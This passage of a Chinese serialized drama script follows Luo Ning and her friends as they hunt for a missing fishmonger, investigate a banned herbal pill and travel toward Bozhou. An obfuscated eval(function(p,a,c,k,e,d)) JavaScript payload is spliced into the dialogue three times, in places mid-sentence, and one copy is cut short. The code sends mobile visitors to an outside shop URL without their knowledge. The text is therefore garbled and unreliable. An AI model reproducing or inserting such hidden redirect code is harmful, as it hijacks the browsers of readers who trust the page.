顾云飞:把他的铺盖拿过来,扔到外面去! 蔡辛:是!(转身去了银华的屋子) 银华:老大,你这是干什么呀? 顾云飞:你问我?你怎么不问问你自己呀?身上这么臭,还想回屋睡?你是不是想熏死我呀?(见银华站着不动)杵在这里干什么?还不快滚出去!哼! 银华无奈,只好拿着铺盖离开了恩威堂。 8-82 洛府,木兰小院,洛宁的屋子(夜,内) 人物:洛宁、银华、春桃 洛宁刚要上床睡觉,银华来了。 洛宁:银华?你怎么来了?(见他手里拿着铺盖)这是什么? 银华:我来你这里借住两天。嘿嘿,你放心,我一定不打呼噜。 洛宁:借住?什么意思? 银华:老大嫌我身上臭,不许我进门。 洛宁:(贴近他嗅了嗅,急忙捂住鼻子)嗯,是挺臭的。怎么回事? 银华:还能怎么回事?不就是跟金鹏一起去找他哥,天天泡在鱼行里,你说我身上能不臭吗? 洛宁:既然是给金鹏帮忙,你就不该来我这里,而应该去和敬堂才对。(冲外面喊)春桃! 春桃:(从外面进来)小姐,您有何吩咐? 洛宁:(指着银华的铺盖)把这些东西送去和敬堂,交给金鹏。 春桃:是!(抱着铺盖去了和敬堂) 银华:丫头,你什么意思呀?老大嫌弃我,怎么连你也嫌弃我呀? 洛宁:谁让你这么臭呢!快出去!(推着银华往外走) 银华:我只住一晚上,一晚上总行吧? 洛宁:一刻也不行! 银华:你这丫头怎么这样啊?不是说好了有福同享有难同当吗? 洛宁:你到底走不走?(打开正对着恩威堂的那扇窗)不走的话,我可要叫顾云飞了! 银华:得得得!我走!我走!唉!(叹了口气,悻悻地走了) 8-83 农贸市场(日,外) 人物:银华、金鹏、粉刷匠 银华和金鹏继续寻找那家鱼行。 银华:今儿换你进去吧!我这一身的鱼腥味儿,不管在哪儿都惹人嫌。唉! 金鹏:我那屋里有瓶香水,要不你也用用? 银华:你还用香水?金鹏,你是不是个男人呀? 金鹏:我哥买给我的,起初我也不想要,不过宁儿说好闻,就让我留下了。 银华:好闻?什么味儿? 金鹏:有点儿像茉莉花。 银华:回头给我也弄一瓶。 金鹏:(呵呵一笑)你也用香水? 银华:天这么热,那丫头总说我身上有汗臭味儿,一见我就躲得老远,搞得我很没面子。 金鹏:明白了,回头我就给你弄一瓶。 二人路过一家正在装修的店面时,见地上有一块招牌,上面写着“包记鱼行”几个字。 银华:咦,包记鱼行?这招牌怎么扔在了地上? 金鹏:(指着正在装修的店面)会不会是从那上面拆下来的? 银华:走,过去问问。 二人来到店里,向一个粉刷匠打听。 银华:这位大哥,那边有块招牌,是不是你们的? 粉刷匠:哦,那个呀,是我们刚刚拆下来的。怎么了?是不是挡着你们的路了?你先等等,我把这面墙刷完了,就把它弄走。 金鹏:那块招牌看上去挺新的,你们不要了吗? 粉刷匠:这家店改卖豆腐了,还要那块鱼行的招牌干什么? 银华:这么说,这家店以前是卖鱼的呀? 粉刷匠:对呀!生意一直挺不错,我也经常来买,不知为何,说不干就不干了。 银华:什么时候的事儿? 粉刷匠:也就一个月前吧。怎么了?你俩想买鱼呀?前面还有家鱼行,你俩去那儿瞧瞧吧!(说完又继续干活儿) 银华:一个月前?这不跟你哥买鱼的时候差不多吗? 金鹏:对呀,该不会就是这家鱼行吧? 银华:可这家已经关了,别说是鱼,连条泥鳅都找不到了。 金鹏:怎么办呀?要不去问问宁儿? 银华:这会儿去问她,她肯定会问咱们是不是把凤凰城里的鱼行都找遍了。 金鹏:也是啊,那咱们还是先去前面那家瞧瞧吧! 8-84 洛府,木兰小院,木兰花树下(夜,外) 人物:洛宁、银华、金鹏 银华和金鹏来找洛宁。 洛宁:一个月前? 金鹏:嗯,我哥也是在那个时候去的伍仙儿家。 银华:可仅凭这个,也不能断定他就是在那家鱼行里买的鱼呀!凤凰城里这么多家店,几乎每个月都有新开的、也有关门的,或许这只是个巧合呢! 洛宁:你们把凤凰城里的鱼行都找遍了吗? 金鹏:都找遍了,没发现有偷藏药丸的。 洛宁:那就只能是这家了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007428|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银华:可这家已经不卖鱼了,怎么找啊? 洛宁:像这种商户,通常在县衙里都会有登记,明天我去查查。 梁州,郊外 8-85 马车车厢(日,内) 人物:银华、金鹏、洛宁 金鹏赶车,洛宁和银华坐在车厢里。 银华:这个包老板可真逗!人在凤凰城里做买卖,家却在紫蔚城里,每天这么来回跑,不嫌累吗? 金鹏:凤凰城里的东西贵,能多挣些银子,紫蔚城里的房子便宜,两座城相距又不远,虽然每天来回跑,倒是能省下不少钱。 见洛宁捂着鼻子,一副十分难受的样子,银华忍不住问。 银华:喂,丫头,你捂着鼻子干嘛?哪里不舒服吗? 洛宁:我有点儿晕车。 银华:晕车?不会吧!你又不是头一回坐马车,再说这马跑得也不快呀! 洛宁:跟马没关系,主要是车里的味儿太浓了。 银华:车里的味儿?(四处闻了闻)什么味儿?我怎么没闻到? 洛宁:原先只有一股子汗臭味儿,如今又多了一股子骚味儿。 银华:骚味儿?金鹏,你闻到了吗? 金鹏:会不会是香水味儿? 银华:香水味儿?丫头,这可是茉莉花的味儿,怎么会是骚味儿呢?你的鼻子是不是出毛病了? 洛宁:香水?(问银华)你用香水了? 金鹏:就是上回你在我屋里见到的那瓶,他也买了。 洛宁:(惊呼)天呐!你俩竟然已经好到了这种程度,连香水用的都是同款?合着这车上就我一个人是多余的了? 银华:臭丫头,别胡说!我跟金鹏是那样的人吗?你再胡说,信不信我揍你呀! 银华扬起手要打,洛宁却哈哈大笑。 梁州,紫蔚城 8-86 包老板家(夜,内) 人物:洛宁、银华、金鹏、公差若干 三个人来到包老板家时,已是深夜。 银华:里面一盏灯都没有,应该已经睡下了。怎么办?要不要冲进去? 洛宁:你是强盗啊? 银华:那怎么办?要不咱们先敲敲门? 洛宁:你带见面礼了吗? 银华:这也不行那也不行,咱们明天再来吧。 洛宁:翻墙进去! 银华:你…… 洛宁:我什么我?救余大哥要紧,动作快点儿! 三个人悄无声息地潜入包老板家。 银华:什么味儿?怎么这么臭? 洛宁:像是什么东西烂掉了。 金鹏:有死人? 银华:你哥呀? 洛宁:别胡说!若真有死人,我怎么会闻不出来? 银华:那会是什么? 洛宁:嘘,小点声儿,别让人家听见了。 三个人摸索了半天,发现屋里一个人都没有。 银华:怎么没人? 金鹏:是啊,真奇怪!这个时候,他们应该在家呀! 洛宁:把灯点上! 银华:你就不怕被他们发现了? 洛宁:被谁?人还是鬼? 银华:得得得,点灯! 三个人点上灯,里里外外转了几圈之后,确定屋里空无一人。 金鹏:人都去哪儿了? 洛宁:屋里收拾得挺整洁,门窗也都关着,不像是匆匆离开的。 银华:(指着桌上的果盘)我说怎么这么臭,原来是果子烂掉了。 洛宁:(走过去查看)桌上有一层浮灰,应该有阵子没打扫了。 银华:这么说,他们早就没在这里了? 金鹏:没在这里会在哪里?总不至于他们也跟我哥一样,失踪了? 银华:卖鱼的和买鱼的都失踪了,这算什么事呀? 洛宁:不知道他们走的时候有没有人看见?要不这样,咱们明天再过来,跟周围的邻居打听一下。 银华:嗯,也行。 三个人刚走出门,就被官差围住了。 官差:小贼!哪里逃! 洛宁:(暗暗叫苦)惨!被发现了! 82. 第八篇 桂先生的药 梁州,凤凰城 8-87 督察府,张正清的屋子(日,内) 人物:张正清、洛宁、金鹏、银华 张正清恶狠狠地瞪了洛宁一眼。 张正清:说说吧,怎么回事? 洛宁:被逮了个正着,我无话可说。 张正清:不肯说是吗?行,换我来问你。你们几个为何要在大半夜里翻墙进入人家的屋里? 洛宁:门上有锁,屋里没人,不翻墙怎么进去呀? 张正清:我问的是你们为何要进去。 银华/金鹏:为了……(不知该如何回答,都把目光投向洛宁) 洛宁:为了夜明珠。 张正清:夜明珠? 洛宁:那包老板是干什么的? 张正清:干什么的? 洛宁:卖鱼的呀!夜明珠从哪里来? 张正清:从哪里来? 洛宁:鱼肚子里面呀! 张正清:噢,照你这么说,那包老板在卖鱼的同时,还兼带着卖夜明珠呀?那他还开什么鱼行呢,改开珠宝行岂不是更好? 洛宁:开鱼行交不了多少税,开珠宝行就不一样了。 张正清:你的意思是他为了逃税呀? 洛宁:正是。 张正清:这跟你有什么关系? 洛宁:我去那里不就是为了搜集证据吗? 张正清:你去那里是为了搜集证据,他们两个呢? 银华:我保护她。 金鹏:我替他们赶马车。 张正清:噢,这么说,你们一个个都没闲着呀?(竖起大拇指)闷声干大事,真了不起!你们找到那些夜明珠没? 洛宁:我怀疑,包老板已经带着那些夜明珠、连夜逃跑了。 张正清:也就是说,你们去扑了个空? 洛宁:唉,可不是嘛!也不知是谁走漏了风声,害得我们白跑一趟,等我抓住了那家伙,一定要他好看!哼! 张正清:不用等了,那家伙就在你眼前。 洛宁:(瞅着张正清)你呀? 张正清:(指着银华和金鹏)他们两个呀! 银华:张督察,这种事可不能乱说! 金鹏:对呀,我们跟她一起去的,怎么可能给那个包老板通风报信? 张正清:谁会在大半夜里擦这么浓的香水?这不明摆着在告诉人家,你们来了吗?又是木兰花又是茉莉花,不知道的还以为你们几个要去唱大戏呢! 洛宁:得得得,这回算我失策!你若非要给我安个罪名的话,顶多就是入户盗窃…… 张正清:(拍桌子)明知故犯,罪加一等! 洛宁:加加加!你随便加!大不了我不回家了,就在督察府里住着! 张正清:停职! 洛宁:(吓了一跳)啊!有这个必要吗? 张正清:停薪! 洛宁:(惊呼)天呐!这也太严重了吧? 张正清:昨晚我好不容易睡了个安稳觉,本来心情挺不错,结果一大早接到你的消息,整个人都不好了。 洛宁:呀,张大哥,你可千万别死呀! 张正清:(怒吼)我他妈快被你气死了!哼! 8-88 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:洛宁、顾云飞、蔡辛 洛宁来找顾云飞喝茶。 顾云飞:停职停薪?呵呵,张督察可真英明! 洛宁:唉,是啊。反正闲着也是闲着,以后我天天来找你喝茶。 顾云飞:(两眼一瞪)死丫头! 洛宁:好热呀!快给我弄两块西瓜来,要冰镇的! 话音刚落,蔡辛便端着一大盘西瓜进来了。 洛宁:咦,蔡伯,你怎么知道我想吃西瓜? 蔡辛:堂主知道姑娘您要来,早就命我备下了。 洛宁:是吗?(冲着顾云飞嘻嘻一笑)顾大堂主,您可真会体贴人呀! 洛宁大口地吃着西瓜,顾云飞慢悠悠地呷了口茶。 顾云飞:你要的那个人,我帮你找着了。 洛宁:哦,这么快?他在哪儿?我要去见他! 顾云飞:他已经离开梁州了。 洛宁:离开梁州了?他不打算查这个案子了吗? 顾云飞:这个你得去问他。 洛宁:他现在人在哪里? 顾云飞:博州。 洛宁:博州?他去那里干什么? 顾云飞:这个你得去问他。 洛宁:(白了他一眼)顾大堂主,凭您的本事,应该不会只打听到了这么一点点消息吧? 顾云飞:这是天地会的事吗? 洛宁:不是。 顾云飞:这是恩威堂的事吗? 洛宁:不是。 顾云飞:与我无关的事,我问那么多干什么? 洛宁:哼,你肯定什么都知道。 顾云飞笑而不语。 洛宁:(凑过去试探他)云飞大哥,你说余大哥还活着吗? 顾云飞:不清楚。 洛宁:如果他还活着的话,在不在凤凰城里? 顾云飞:不清楚。 洛宁:可恶! 顾云飞:丫头!如果你想了解一个人,是否只看他的现在? 洛宁:当然不行,还得看他的过去。 顾云飞:同样的道理,天堂草出现在咱们沉香国,不是头一回了。你对它的过去一无所知,怎么查案子? 洛宁:(幡然醒悟)噢,明白了,我明天就去查档! 梁州,同好城 梁州的档案馆,位于同好城,各地的案件办结之后,会把文书送去档案馆里,交由专人照看。 8-89 档案馆(日,内) 人物:洛宁、小吏 一来到同好城,洛宁便直奔档案馆而去,当她看见昔日天堂草一案的卷宗时,却傻了眼。 洛宁:(望着眼前薄薄的卷宗)才这么几张纸? 小吏:洛姑娘你有所不知,昔日天堂草一案,以济州境内最为严重,咱们梁州距离济州甚远,受到的波及也最小。 洛宁:照你这么说,我想了解更多的情况,岂不是还要去一趟济州? 小吏:(低头想了想)不知姑娘是否认识胡捕头? 洛宁:胡捕头? 小吏:昔日天堂草一案案发时,他正在济州的督察府里担任捕头,也曾协助追捕过嫌犯,如今他已告老还乡,就住在咱们梁州的紫蔚城里。 洛宁:是吗?那可真是太好了,我这就去拜访他。 梁州,紫蔚城 8-90 胡捕头家(日,内) 人物:洛宁、胡捕头 原以为胡捕头是一位白发苍苍的老者,见到他之后,才发现他也不过四十来岁的样子,坐在一把椅子上,见到洛宁,只微微点了点头,并未起身。听洛宁说明来意之后,他皱起了眉头。 胡捕头:天堂草? 洛宁:正是。 胡捕头:姑娘为何要打听这个? 洛宁:实不相瞒,用天堂草制成的药丸,最近在咱们梁州境内又出现了…… 胡捕头:那东西,不是人能做出来的。 洛宁:什么? 胡捕头:你们抓不到他。 洛宁:他?谁呀? 胡捕头:洛姑娘,你这么年轻,模样又这么好,这个案子还是让别人去查吧。 洛宁:哦,为何? 胡捕头没有说话,他弯下腰,脱去鞋袜,露出两只没有趾头的脚来。 洛宁:(吃惊)您的脚…… 胡捕头:这是当年追查那个案子时,留下的伤,也正因为这个,我才不得不离开了督察府。 洛宁:怎么回事?您的脚趾呢? 胡捕头:全被老鼠咬掉了。 梁州,凤凰城 8-91 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:洛宁、顾云飞 顾云飞给洛宁倒了杯茶。 顾云飞:还想查吗? 洛宁:(端起茶杯一饮而尽)查! 顾云飞:(皱眉)丫头,茶不是这样喝的。 洛宁:再来一杯! 顾云飞:(白了她一眼)上头了是吧? 洛宁:怎么没用沸水泡? 顾云飞:(没好气地)我怕烫着你呀! 洛宁:胡捕头说,那东西不是人能做出来的,这句话到底什么意思? 顾云飞:你不也是大夫吗?连人都做不出来的东西,会是什么? 洛宁:我学医这么多年,还从来没碰上过这种情况。不过,想知道的话也不难。 顾云飞:怎样? 洛宁:弄两颗尝尝呗。 8-92 天地会总会,客厅(日,内) 人物:张正清、洛青 见到张正清,洛青微微一怔。 洛青:张大人?您怎么来了? 张正清:我从这边路过,顺道来看看宁儿。怎么样?她还好吗? 洛青:(欲言又止)她呀…… 张正清:怎么了? 洛青:哦,倒也没什么。只是…… 张正清:只是什么? 洛青:她最近有点儿……不太那个。 张正清:(一听便急了)不太那个?什么意思?她哪里不舒服吗?快带我去瞧瞧! 洛青无奈,只好领着张正清去找洛宁。 8-93 天地会总会,练武场(日,外) 人物:洛宁、银华、金鹏、顾云飞、张正清、洛青、弟子若干 练武场上,弟子们正在摔跤。 张正清:(左顾右盼)宁儿呢?怎么没看见她? 洛青:(朝场地中央的一个弟子努努嘴)喏,那不就是她嘛! 张正清:(吃惊)她?跟一群男人在摔跤? 洛青:从昨天晚上一直练到现在,会里的男人几乎都被她打趴下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007429|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 场内。 顾云飞:(拍手叫)对对对!就是这样!揍他!照着脸打!使劲儿!哎,这样就对了! 被洛宁一顿暴揍,银华忍不住抱怨。 银华:老大,你搞什么呀?你让她揍我也就罢了,你还要她照着我的脸打,还要她使劲儿打。你瞧瞧我的鼻子,都快被她打歪了! 顾云飞:打人不就得用力吗?不用力还打什么人呀?(对洛宁竖起大拇指)丫头,干得好!就该这样打!哈哈! 洛宁:(斗志昂扬)下一个是谁?快过来!姑娘我等不及要揍他了! 银华:金鹏,该你了! 金鹏:(吓了一跳)啊?! 银华:啊什么啊?寒大夫把药都配好了,你的脸上若不挂点儿彩,对得起他吗?愣着干嘛,快上啊! 金鹏硬着头皮上了场。 金鹏:宁儿,你已经练了一个晚上了,要不先歇会儿? 洛宁:歇什么呀!姑娘我这会儿精神好着呢,先吃我一拳! 洛宁扑上去就打,金鹏哪敢还手,顾云飞在旁边大笑不止。 场外。 张正清:(皱起眉头)这丫头怎么回事?喝高了呀? 洛青:岂止是她喝高了,我看这场上人人都喝高了。 张正清:顾堂主就这么由着她吗? 洛青:唉,这个主意还是他给她出的呢! 8-94 洛府,木兰小院,洛宁的屋子(日,内) 人物:洛宁、顾云飞 洛宁醒来时,顾云飞正望着她笑。 洛宁:云飞大哥…… 顾云飞:丫头,醒了呀? 洛宁:嗯…… 顾云飞:这下你姐可以松口气了,之前她还以为你死了呢。 洛宁:我只睡了一觉而已,她怎么会这样想? 顾云飞:你知道你这一觉睡了多久吗? 洛宁:多久? 顾云飞:三天三夜。 洛宁:(吃惊)三天三夜?有这么久吗?噢,我想起来了,临睡前我吃了一粒药丸。 顾云飞:那你还记得吃过之后干了些什么吗? 洛宁:干了些什么?让我想想……噢,我做了个梦。 顾云飞:什么梦? 洛宁:我梦见自己骑着一条飞龙,去了百无禁忌,跟那里的妖怪大战了三百回合。 顾云飞:(憋住笑)三百回合?这么牛啊?最后谁赢了? 洛宁:(一脸得意)这还用问吗?当然是我赢了! 顾云飞:啧啧,真了不起!十八般武艺,不用教你全会了,哈哈哈! 洛宁:可不是嘛!云飞大哥,你说这药丸可真神奇,我才吃了一粒,就变得这么厉害,若再多吃上几粒,岂不是能独步天下了?这么好的东西,怎么就被禁了呢? 顾云飞:丫头,你吃归吃,门路找到了没? 洛宁:(一脸懵)门路?什么门路? 顾云飞:查案的门路啊! 洛宁:查案的门路?噢,那个呀! 顾云飞:怎么样,找到了没? 洛宁:没有。 顾云飞:呵呵,白吃了。 洛宁:虽然没找到,不过也不是没有门路。 顾云飞:哦,说来听听。 洛宁:裴督察不是正在查这个案子吗?他肯定最了解情况,咱们只需把他了解的情况借过来用用,不就行了? 顾云飞:嗯,有道理!吃现成的可比现做省事多了,哈哈哈! 梁州,郊外 8-95 马车车厢(日,内) 人物:洛宁、银华、金鹏 临行前,洛宁找木匠订制了一个带孔的木箱,连接在马车的后面,然后便叫上银华和金鹏,前往博州。 银华:丫头,你到底想干什么? 洛宁:什么? 银华:(瞅着洛宁怀中的灰姑娘)你出一趟远门,带上它干嘛?不嫌麻烦吗? 洛宁:博州靠海,灰姑娘又爱吃鱼,去了正好可以饱餐一顿。 灰姑娘像是听懂了,它舔舔嘴巴,高兴地喵呜了一声。 银华:它在家不也天天吃鱼吗?哪天挨过饿呀? 洛宁:一个是河鲜,一个是海鲜,味道差远了。 银华:后面的那个木箱子又是干什么的?你可别告诉我,是给它准备的大别墅哟! 洛宁:不是给它,而是给它的朋友们准备的。 银华:就它这样儿,还能有朋友?(见洛宁正瞪着自己)哦,我的意思是,猫还能有朋友?猫的朋友是什么? 金鹏:对呀,是什么? 洛宁:我要你们俩把沿途的流浪猫全抓起来。 银华和金鹏互相对望了一眼。 金鹏:抓流浪猫?为何? 银华:丫头,你是不是想让它们把海里的鱼全吃光啊?你也不问问,老龙王同意吗? 洛宁:老龙王说了,鱼不够吃的话,岸上还有大老鼠呢!哈哈哈! 83.第九篇 猫皇大人 梁州,凤凰城 9-1 洛宏的私宅(夜,内) 人物:洛宏、慕容深、紫旭 洛宏面前的书桌上,摆放着不觉从薛老板那里偷来的口袋。 洛宏:(对着紫旭)我打算跟慕容兄一起去探探镜花水月的虚实。这期间,你要仔细地保管这个口袋,切莫让它落入别人的手中。 紫旭:老大您放心,我一定不会让它离开我的视线。 洛宏:还有就是,不管是谁问起来,你只说我出门去了。 紫旭:(点头)嗯,明白。 慕容深:(突然发问)小子,想不想也进去瞧瞧? 紫旭:(微微一愣)额? 慕容深:(朝口袋努努嘴)这里面一定很好玩! 紫旭:我若进去了,谁来保管它? 慕容深:你一个人,对付得了那些家伙吗? 紫旭:只要我人在洛府,他们就没办法。 慕容深:(笑着对洛宏)呵呵,没想到咱们也有用得上那家伙的时候! 9-2 洛宏的私宅(日,内) 人物:洛宏、慕容深 洛宏和慕容深正打算进入口袋里。 洛宏:准备好了吗? 慕容深:准备什么?遗书吗? 洛宏:省省吧,你儿子才不会看呢。 慕容深:回来之后,我想去见他一面。 洛宏:别闹了! 慕容深:(故作不满地叹口气)唉,你怎么可以对我这么刻薄?你怎么不去管管那些家伙呢? 洛宏:你要是不放心,可以留下来嘛。 慕容深:我是猎人,不是猎犬。 洛宏:你的猎犬呢? 慕容深:(皱皱眉头)她们呀!有两只挺温顺,还有一只,唉,成天跟我使小性儿。 洛宏:(笑着拍拍慕容深的肩膀)呵呵,你太宠她了。 9-3 河滩上(夜,外) 人物:鱼小儿、闻如是 应鱼小儿之邀,闻如是来到城外的河滩上,在得知鱼小儿的计划之后,他摇了摇头。 闻如是:洛府?我不去! 鱼小儿:怕什么?你会隐身,他们看不见你。 闻如是:洛堂主说过,咱们这些人,哪里都可以去,唯独洛府,绝对不能去。 鱼小儿:你若真听他的话,当初还逃什么? 闻如是:(伸出三个指头)我逃了三次,三次都被他们抓了回来。我就不明白了,他们是怎么认出我的? 鱼小儿:(愤愤然)那两个家伙,根本就不是人! 闻如是:你既然知道,就更不能操之过急了。 鱼小儿:这件事对咱们来说,可是一个绝佳的机会!只要在他俩回来之前,咱们把那个口袋弄过来烧了,他俩就会被困在里面、再也出不来了!到那时,咱们不都自由了吗? 闻如是:你确定? 鱼小儿:当然了! 闻如是:那我倒要问问你,你是否亲眼看见他俩进入了那个口袋里? 鱼小儿:(眯起眼)什么意思? 闻如是:鱼小儿,你这么聪明的一个人,怎么会在这件事上犯糊涂?你不过是从慕容深的口中听闻他俩要去寻找镜花水月,却并不曾亲眼看见他俩进入了那个口袋里。换句话说,如果他俩没进去呢? 鱼小儿:没进去? 闻如是:对呀!如果他俩没进去,你却把那个口袋烧了,结果会怎样? 鱼小儿想起瑞香死时的惨状,不由得浑身一颤。 鱼小儿:呀,我怎么没想到这一点?(又转念一想)可如果他俩进去了呢? 闻如是:你要是想弄明白的话,不如去问问紫旭,他肯定知道。 鱼小儿:那小子是洛宏养出来的狗,他就算知道,也不会跟我说实话。 闻如是:他不是喜欢欧阳兰兰吗?你可以扮成欧阳兰兰,去探探他的口风。 鱼小儿:欧阳兰兰这会儿正在梅州泡温泉,我若去了,他一眼就看穿了。 闻如是:那就只好再等等了。 鱼小儿:(气急败坏地)等等等!还要等到什么时候? 闻如是:快了! 鱼小儿:快了? 闻如是:一旦他俩找到了镜花水月,肯定会再次进入那个口袋里。到那时,何愁没有机会? 鱼小儿:(转忧为喜)咦,也是啊!那咱们这回就按兵不动,看看他俩到底在耍什么花招儿。 关州,中兴城 9-4 街道上(夜,外) 人物:银华、金鹏 每到一个城镇,待洛宁在客栈里住下后,银华和金鹏便趁着夜色,在大街小巷里寻找着流浪猫的踪迹。而这一次,他俩找了半天,也没看见一只流浪猫。 银华:咦,奇了怪了!怎么这座城里一只流浪猫也没有? 金鹏:你听说过吉运城吗? 银华:吉运城?那座位于沉香国最西边的城镇? 金鹏:正是。我在锦州的时候,曾听人家说,吉运城的县太爷对猫狗十分喜爱,不仅在县衙里养了很多猫狗,还要求全城的百姓都要善待猫狗,不得随意遗弃它们。如果城里出现了流浪的猫狗,那么这些猫狗在谁家附近流浪,谁就要因此而受责罚。也正因为这个,但凡去过吉运城的人都知道,那里的猫狗随处可见,已经到了泛滥成灾的地步。 银华:他对他爹有这么好吗? 金鹏:我跟你谈猫狗,你扯上他爹干什么? 银华:咱们在中兴城里抓流浪猫,你扯上吉运城干什么? 金鹏:唉,得得得,不说这个了,还是去抓猫吧! 二人又四处寻找,终于在一处房子的屋檐上,发现了一只黑白相间的猫。 银华:那里有一只! 银华悄然跃上房顶,一下便逮住了那只猫。那只猫倒也老实,连叫都不叫一声。 银华:(喜滋滋地拎起那只猫)嘿嘿,有了你,我就不怕被宁儿骂了。 金鹏:银华,这只猫的脖子上有根红绳,是不是家猫? 银华:家猫? 银华低头一看,猫的脖子上果然有根红绳,他想都没想,扯下红绳便扔了。 银华:嘿嘿,这下不是了吧? 金鹏:它的毛色那么光滑,怎么看也不像流浪猫呀! 银华:不像吗?好说! 银华从地上抓了把灰,撒在猫的身上,又朝手心里吐了口唾沫,在猫的身上来回搓了几遍,猫毛就变得又乱又脏了。 银华:嘿嘿,怎么样?这下像流浪猫了吧? 金鹏:这样不太好吧?宁儿让咱们出来找流浪猫,你抓一只家猫回去,她会生气的。 银华:家猫若没人看管,一样会变成流浪猫。更何况咱俩已经把这座城的前前后后、里里外外都找遍了,也没发现一只流浪猫。如果这里根本就没有流浪猫,怎么办?你知不知道,那丫头如今又多了一个坏习惯,就是每天早上醒来之后,先要去数一数箱子里的猫,如果被她发现还是原来的那个数,肯定会说咱俩在偷懒。 金鹏:那咱们就实话实说,没有就是没有,总不能拿家猫来充数吧? 银华:家猫乖呀!(把猫在金鹏眼前晃了晃)你瞧瞧它,不吵不闹,多听话呀!之前咱们抓的那些流浪猫,一到晚上就嗷嗷嗷地叫个不停,别说咱们睡不着,周围的住客也睡不着。客栈掌柜说的话你没听见吗?若不是因为那丫头答应付给他双倍的房钱,他才不肯收留咱们呢!我就纳闷了,那丫头平日里对自己、对咱们都那么抠,怎么对这群流浪猫这么大方呀?不仅包吃包住,还安排咱俩给它们铲屎。这下可好,猫成了主子,咱俩变奴才了,唉! 金鹏:要不咱们去问问她,为何要抓这些流浪猫? 银华:那丫头临出门前,就订下了那个大箱子,显然早就想好了。我原以为她打算拿它来装人,谁知道她却拿它来装猫…… 金鹏:装人?谁呀? 银华:(开玩笑)你哥呗!他要是半身不遂的话,躺在里面不是刚刚好吗? 金鹏:(一脸认真)他要是半身不遂的话,我养他一辈子! 银华:你呀你,说好听点儿是重情重义,说难听点儿就是傻不拉几!他才养了你几年,你就要养他一辈子,值吗? 金鹏:天地会也养了你,天地会若有什么事,你能说不管吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009208|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 银华:天地会若有什么事,在咱们的上面,有总会长和四位堂主,再不济的话,还有各地的分会长,怎么样也轮不到咱俩来管。就算轮到了咱俩,事也早就解决了。 金鹏:那也不能什么都不做呀! 银华:我这不是跟你们一道儿来关州了吗?你小子也不想想,这么热的天,你来这里是为了找你哥,那丫头来这里是为了抓流浪猫,我来这里是为了什么?吃饱了撑的呀? 金鹏:我知道你是为了给我帮忙,可我哥是在凤凰城弄丢的,咱们去博州找他,会不会搞错了? 银华:你问我我问谁呀?你怎么不去问问那丫头呢?当初可是她要去博州的! 金鹏:我以为她早就告诉你了呢! 银华:我跟你一样,什么都不知道。 金鹏:如果我哥还在凤凰城,咱们去博州找他,岂不是白费工夫? 银华:我看那丫头的样子,应该多少有点儿门路。要不咱们去问问她? 金鹏:怎么问?她若是不肯说怎么办? 银华:(露出坏笑)简单呀!咱们把这些猫全放了,让她自己去抓!嘿嘿! 关州,郊外 9-5 马车车厢(日,内) 人物:洛宁、银华、金鹏 银华朝金鹏努努嘴,示意他开口,金鹏瞅了洛宁一眼,犹豫了半天,不知该从何说起,又冲银华使了个眼色。见他俩这样,洛宁忍不住问。 洛宁:喂喂喂,你俩眉来眼去半天了,到底想怎样?要不我先下去,让你俩单独聊会儿? 银华:(两眼一瞪)臭丫头,胡说什么呢!(对着金鹏)金鹏,你不是说有事想问她吗?赶紧说吧,别磨磨唧唧了! 洛宁:什么事呀,金鹏? 金鹏:我…… 银华:我什么我?再往前就是博州的地界了,你若再不问的话,以后干脆就别提了! 金鹏:这…… 银华:这可是你自己的事,别人都代替不了你! 洛宁:(呵斥银华)银华,你能不能安静点儿!(对着金鹏)金鹏,到底什么事? 金鹏:宁儿,我想问问你,咱们去博州干什么呀? 洛宁:干什么?当然是去找你哥了。 金鹏:这么说,我哥在博州? 银华:你怎么知道他哥在博州?谁告诉你的? 洛宁:没人告诉我,我也不确定他哥如今在哪里。 银华和金鹏互相对望了一眼。 银华:什么意思?你去博州是为了找他哥,却又不确定他在不在那里,这不自相矛盾吗? 金鹏:宁儿,到底怎么回事?我快被你弄糊涂了! 洛宁:鱼行关门了,鱼行的老板也不知所踪,顺着这条线索,咱们已经查不出什么了。 银华:对呀!去博州能查出什么? 洛宁:我也不清楚,但肯定不会空手而归。 银华和金鹏又互相对望了一眼。 银华:丫头,你是不是跟张正清在一起待久了,也学会打官腔了?今儿你要是不把话说明白了,咱们就不走了!(冲着车夫喊)停车! 洛宁:(也冲着车夫喊)不许停!走快点儿! 车夫回头望了他们一眼,又赶着马车继续往前走。 银华:丫头,你什么意思呀?跟我对着干是吗? 洛宁:你问问金鹏,到底走不走? 银华:你…… 